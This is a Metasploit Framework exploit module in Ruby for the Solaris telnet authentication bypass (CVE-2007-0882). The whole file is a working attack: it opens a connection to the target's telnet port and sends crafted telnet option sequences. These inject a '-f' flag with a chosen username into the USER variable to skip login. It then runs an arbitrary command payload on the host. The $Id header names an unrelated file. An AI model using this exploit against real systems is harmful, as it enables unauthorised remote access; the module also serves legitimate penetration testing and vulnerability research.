Sun Solaris Telnet Remote Authentication Bypass Vulnerability



##

# $Id: fuser.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',
            'Description'    => %q{
                This module exploits the argument injection vulnerabilty
                in the telnet daemon (in.telnetd) of Solaris 10 and 11.
            },
            'Author'         => [ 'MC' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9583 $',
            'References'     =>
                [
                    [ 'CVE', '2007-0882' ],
                    [ 'OSVDB', '31881'],
                    [ 'BID', '22512' ],
                ],
            'Privileged'     => false,
            'Platform'       => ['unix', 'solaris'],
            'Arch'           => ARCH_CMD,
            'Payload'        =>
                {
                    'Space'    => 2000,
                    'BadChars' => '',
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl telnet',
                        }
                },
            'Targets'        =>
                [
                    ['Automatic', { }],
                ],
            'DisclosureDate' => 'Feb 12 2007',
            'DefaultTarget' => 0))

            register_options(
                [
                    Opt::RPORT(23),
                    OptString.new('USER', [ true, "The username to use",     "bin" ]),
                ], self.class)
    end

    def exploit
        connect

        print_status('Setting USER environment variable...')

        req =  "\xFF\xFD\x26\xFF\xFB\x26\xFF\xFD\x03\xFF\xFB"
        req << "\x18\xFF\xFB\x1F\xFF\xFB\x20\xFF\xFB\x21\xFF"
        req << "\xFB\x22\xFF\xFB\x27\xFF\xFD\x05"

        sock.put(req)
        sock.get_once

        req << "\xFF\xFC\x25"

        sock.put(req)
        sock.get_once

        req << "\xFF\xFA\x26\x01\x01\x02\xFF\xF0"

        sock.put(req)
        sock.get_once

        req << "\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0"

        sock.put(req)
        sock.get_once

        req << "\xFF\xFE\x26\xFF\xFC\x23\xFF\xFC\x24"

        sock.put(req)
        sock.get_once

        req =  "\xFF\xFA\x18\x00\x58\x54\x45\x52\x4D\xFF"
        req << "\xF0\xFF\xFA\x27\x00\x00\x55\x53\x45\x52"
        req << "\x01\x2D\x66" + datastore['USER'] + "\xFF\xF0"

        sock.put(req)
        sock.get_once
        select(nil,nil,nil,0.25)

        sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")

        select(nil,nil,nil,0.25)

        handler
    end

end